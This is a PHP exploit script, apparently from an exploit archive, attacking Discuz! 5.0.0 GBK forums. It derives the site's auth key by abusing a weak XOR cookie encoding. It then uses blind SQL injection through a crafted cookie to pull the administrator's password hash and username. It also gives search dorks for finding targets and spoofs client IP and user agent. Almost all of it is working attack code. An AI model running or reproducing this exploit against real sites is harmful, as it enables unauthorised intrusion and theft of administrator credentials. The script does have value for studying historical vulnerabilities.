Discuz! 5 SQL injection Exploit

<?php<br /> print_r('<br /> ---------------------------------------------------------------------------<br /> Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit<br /> by rgod rgod@autistici.org<br /> site: http://retrogod.altervista.org<br /> dorks: "powered by discuz! 5.0.0<br /> "powered by discuz!<br /> ---------------------------------------------------------------------------<br /> ');<br /> if ($argc<3) {<br /> print_r('<br /> ---------------------------------------------------------------------------<br /> Usage: php '.$argv[0].' host path OPTIONS<br /> host: target server (ip/hostname)<br /> path: path to discuz<br /> Options:<br /> -p[port]: specify a port other than 80<br /> -P[ip:port]: specify a proxy<br /> Example:<br /> php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80<br /> php '.$argv[0].' localhost /discuz/ -p81<br /> ---------------------------------------------------------------------------<br /> ');<br /> die;<br /> }<br /> error_reporting(0);<br /> ini_set("max_execution_time",0);<br /> ini_set("default_socket_timeout",5);<br /> <br /> function quick_dump($string)<br /> {<br /> $result='';$exa='';$cont=0;<br /> for ($i=0; $i<=strlen($string)-1; $i++)<br /> {<br /> if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))<br /> {$result.=" .";}<br /> else<br /> {$result.=" ".$string[$i];}<br /> if (strlen(dechex(ord($string[$i])))==2)<br /> {$exa.=" ".dechex(ord($string[$i]));}<br /> else<br /> {$exa.=" 0".dechex(ord($string[$i]));}<br /> $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}<br /> }<br /> return $exa."\r\n".$result;<br /> }<br /> $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';<br /> <br /> function sendpacketii($packet)<br /> {<br /> global $proxy, $host, $port, $html, $proxy_regex;<br /> if ($proxy=='') {<br /> $ock=fsockopen(gethostbyname($host),$port);<br /> if (!$ock) {<br /> echo 'No response from '.$host.':'.$port; die;<br /> }<br /> }<br /> else {<br /> $c = preg_match($proxy_regex,$proxy);<br /> if (!$c) {<br /> echo 'Not a valid proxy...';die;<br /> }<br /> $parts=explode(':',$proxy);<br /> echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";<br /> $ock=fsockopen($parts[0],$parts[1]);<br /> if (!$ock) {<br /> echo 'No response from proxy...';die;<br /> }<br /> }<br /> fputs($ock,$packet);<br /> if ($proxy=='') {<br /> $html='';<br /> while (!feof($ock)) {<br /> $html.=fgets($ock);<br /> }<br /> }<br /> else {<br /> $html='';<br /> while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {<br /> $html.=fread($ock,1);<br /> }<br /> }<br /> fclose($ock);<br /> }<br /> <br /> $host=$argv[1];<br /> $path=$argv[2];<br /> $port=80;<br /> $proxy="";<br /> for ($i=3; $i<$argc; $i++){<br /> $temp=$argv[$i][0].$argv[$i][1];<br /> if ($temp=="-p")<br /> {<br /> $port=str_replace("-p","",$argv[$i]);<br /> }<br /> if ($temp=="-P")<br /> {<br /> $proxy=str_replace("-P","",$argv[$i]);<br /> }<br /> }<br /> if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}<br /> if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}<br /> <br /> echo "please wait...\n";<br /> <br /> //from global.func.php<br /> function authcode($string, $operation, $key = '') {<br /> $key = $key ? $key : $GLOBALS['discuz_auth_key'];<br /> $coded = '';<br /> $keylength = 32;<br /> $string = $operation == 'DECODE' ? base64_decode($string) : $string;<br /> for($i = 0; $i < strlen($string); $i += 32) {<br /> $coded .= substr($string, $i, 32) ^ $key;<br /> }<br /> $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;<br /> return $coded;<br /> }<br /> <br /> //stolen from install.php<br /> function random($length) {<br /> $hash = '';<br /> $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';<br /> $max = strlen($chars) - 1;<br /> mt_srand((double)microtime() * 1000000);<br /> for($i = 0; $i < $length; $i++) {<br /> $hash .= $chars[mt_rand(0, $max)];<br /> }<br /> return $hash;<br /> }<br /> <br /> $agent="Googlebot/2.1";<br /> //see sql errors... you need auth key,<br /> //it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)<br /> $tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}<br /> while (1)<br /> {<br /> $discuz_auth_key=random(32);<br /> $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";<br /> $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof<br /> $packet.="User-Agent: $agent\r\n";<br /> $packet.="Host: ".$host."\r\n";<br /> $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";<br /> $packet.="Accept: text/plain\r\n";<br /> $packet.="Connection: Close\r\n\r\n";<br /> $packet.=$data;<br /> sendpacketii($packet);<br /> $html=html_entity_decode($html);<br /> $html=str_replace("<br />","",$html);<br /> $t=explode("AND m.password='",$html);<br /> $t2=explode("' ",$t[1]);<br /> $pwd_f=$t2[0];<br /> $t=explode("AND m.secques='",$html);<br /> $t2=explode("'\n",$t[1]);<br /> $secques_f=$t2[0];<br /> $t=explode("AND m.uid='",$html);<br /> $t2=explode("'\x0d",$t[1]);<br /> $uid_f=$t2[0];<br /> $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;<br /> if ((strlen($my_string)==270) and (!eregi("=",$my_string))){<br /> break;<br /> }<br /> }<br /> $temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");<br /> //calculating key...<br /> $key="";<br /> for ($j=0; $j<32; $j++){<br /> for ($i=0; $i<255; $i++){<br /> $aa="";<br /> if ($j<>0){<br /> for ($k=1; $k<=$j; $k++){<br /> $aa.="a";<br /> }<br /> }<br /> $GLOBALS['discuz_auth_key']=$aa.chr($i);<br /> $t = authcode($temp,"DECODE");<br /> if ($t[$j]==$my_string[$j]){<br /> $key.=chr($i);<br /> }<br /> }<br /> }<br /> <br /> //echo "AUTH KEY ->".$key."\r\n";<br /> $GLOBALS['discuz_auth_key']=$key;<br /> <br /> echo "pwd hash (md5) -> ";<br /> $chars[0]=0;//null<br /> $chars=array_merge($chars,range(48,57)); //numbers<br /> $chars=array_merge($chars,range(97,102));//a-f letters<br /> $j=1;$password="";<br /> while (!strstr($password,chr(0)))<br /> {<br /> for ($i=0; $i<=255; $i++)<br /> {<br /> if (in_array($i,$chars))<br /> {<br /> //you can use every char because of base64_decode()...so this bypass magic quotes...<br /> //and some help by extract() to overwrite vars<br /> $sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";<br /> $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";<br /> $packet.="User-Agent: $agent\r\n";<br /> $packet.="CLIENT-IP: 1.2.3.4\r\n";<br /> $packet.="Host: ".$host."\r\n";<br /> $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";<br /> $packet.="Accept: text/plain\r\n";<br /> $packet.="Connection: Close\r\n\r\n";<br /> $packet.=$data;<br /> sendpacketii($packet);<br /> if (eregi("action=groupexpiry",$html)){<br /> $password.=chr($i);echo chr($i);sleep(1);break;<br /> }<br /> }<br /> if ($i==255) {<br /> die("\nExploit failed...");<br /> }<br /> }<br /> $j++;<br /> }<br /> <br /> echo "\nadmin user -> ";<br /> $j=1;$admin="";<br /> while (!strstr($admin,chr(0)))<br /> {<br /> for ($i=0; $i<=255; $i++)<br /> {<br /> $sql="999999'/**/UNION/**/Select/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/Where/**/adminid=1/**/LIMIT/**/1/*";<br /> $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";<br /> $packet.="User-Agent: $agent\r\n";<br /> $packet.="CLIENT-IP: 1.2.3.4\r\n";<br /> $packet.="Host: ".$host."\r\n";<br /> $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";<br /> $packet.="Accept: text/plain\r\n";<br /> $packet.="Connection: Close\r\n\r\n";<br /> $packet.=$data;<br /> sendpacketii($packet);<br /> if (eregi("action=groupexpiry",$html)){<br /> $admin.=chr($i);echo chr($i);sleep(1);break;<br /> }<br /> if ($i==255) {die("\nExploit failed...");}<br /> }<br /> $j++;<br /> }<br /> <br /> function is_hash($hash)<br /> {<br /> if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}<br /> else {return false;}<br /> }<br /> <br /> if (is_hash($password)) {<br /> echo "exploit succeeded...";<br /> }<br /> else {<br /> echo "exploit failed...";<br /> }<br /> ?>